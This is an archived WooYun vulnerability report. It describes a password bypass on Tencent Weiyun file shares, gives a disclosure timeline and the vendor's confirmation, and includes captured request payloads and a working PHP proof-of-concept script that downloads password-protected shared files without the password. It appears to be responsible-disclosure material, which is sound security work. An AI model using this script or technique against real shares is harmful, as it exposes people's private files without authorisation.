当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-071440

漏洞标题：腾讯微云分享绕过密码直接下载

相关厂商：腾讯

漏洞作者： qwerty472123

提交时间：2014-08-07 17:08

修复时间：2014-09-21 17:10

公开时间：2014-09-21 17:10

漏洞类型：未授权访问/权限绕过

危害等级：中

自评Rank：5

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-08-07： 细节已通知厂商并且等待厂商处理中
2014-08-07： 厂商已经确认，细节仅向厂商公开
2014-08-17： 细节向核心白帽子及相关领域专家公开
2014-08-27： 细节向普通白帽子公开
2014-09-06： 细节向实习白帽子公开
2014-09-21： 细节向公众公开

简要描述：

闲的无聊看微云分享下载的时候意外发现密码可绕过

详细说明：

首先分享一个文件 获得链接 http://url.cn/VNW1B5 访问时直接跳到 http://share.weiyun.com/26ef1d114796fde0b5a32a9c1f90179f
然后抓包
在获取文件列表时 提交了密码
{"req_header":{"cmd":12002,"appid":30111,"version":2,"major_version":2},"req_body":{"ReqMsg_body":{"weiyun.WeiyunShareViewMsgReq_body":{"os_info":"windows","browser":"chrome","share_key":"26ef1d114796fde0b5a32a9c1f90179f","share_pwd":"uF06"}}}}
但无Cookie存入 然后点击下载
{"req_header":{"cmd":12003,"appid":30111,"version":2,"major_version":2},"req_body":{"ReqMsg_body":{"weiyun.WeiyunShareDownloadMsgReq_body":{"share_key":"26ef1d114796fde0b5a32a9c1f90179f","pack_name":"pack.txt"}}}}
发现竟然没有发送密码 刚才也没有Cookie存入
然后嘛 测试了一下 pack_name是否可以任意
竟然的确可以 也就是说 除了下载是什么名称不知道 内容完全可以直接下载
简单写了个php做测试 程序中用 $_GET['url'] 传入分享的url（由于获取不了名称 直接把"pack_name"改为Unknow）

<?php
$a=str_replace(array('http://','share.weiyun.com/','url.cn/'),'',$_GET['url']);
if(strlen($a)<=10){
$ch=curl_init('http://url.cn/'.$a);
curl_setopt($ch,CURLOPT_HEADER,1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$b=curl_exec($ch);
curl_close($ch);
preg_match('/^Location: (.*?)\r\n/m',$b,$m);
$a=substr($m[1],24);
}
$ch=curl_init('http://web2.cgi.weiyun.com/outlink.fcg?cmd=12003&g_tk=&data=%7B%22req_header%22%3A%7B%22cmd%22%3A12003%2C%22appid%22%3A30111%2C%22version%22%3A2%2C%22major_version%22%3A2%7D%2C%22req_body%22%3A%7B%22ReqMsg_body%22%3A%7B%22weiyun.WeiyunShareDownloadMsgReq_body%22%3A%7B%22share_key%22%3A%22'.$a.'%22%2C%22pack_name%22%3A%22Unknow%22%7D%7D%7D%7D');
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$b=curl_exec($ch);
curl_close($ch);
preg_match('/"download_url": "(.*?)"/m',$b,$m);
header('Location: '.$m[1]);


然后 内容一览无余...

漏洞证明：

先上传一个文件 内容乱打的不要在意

0.png


然后就分享文件

1.png


用上文中的php程序无密码直接下载

2.png


下载后内容一致

3.png

修复方案：

在下载时同样要提交密码 等等

版权声明：转载请注明来源 qwerty472123@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2014-08-07 18:49

厂商回复：

非常感谢您的报告，问题已着手处理，感谢大家对腾讯业务安全的关注。如果您有任何疑问，欢迎反馈，我们会有专人跟进处理。

最新状态：

暂无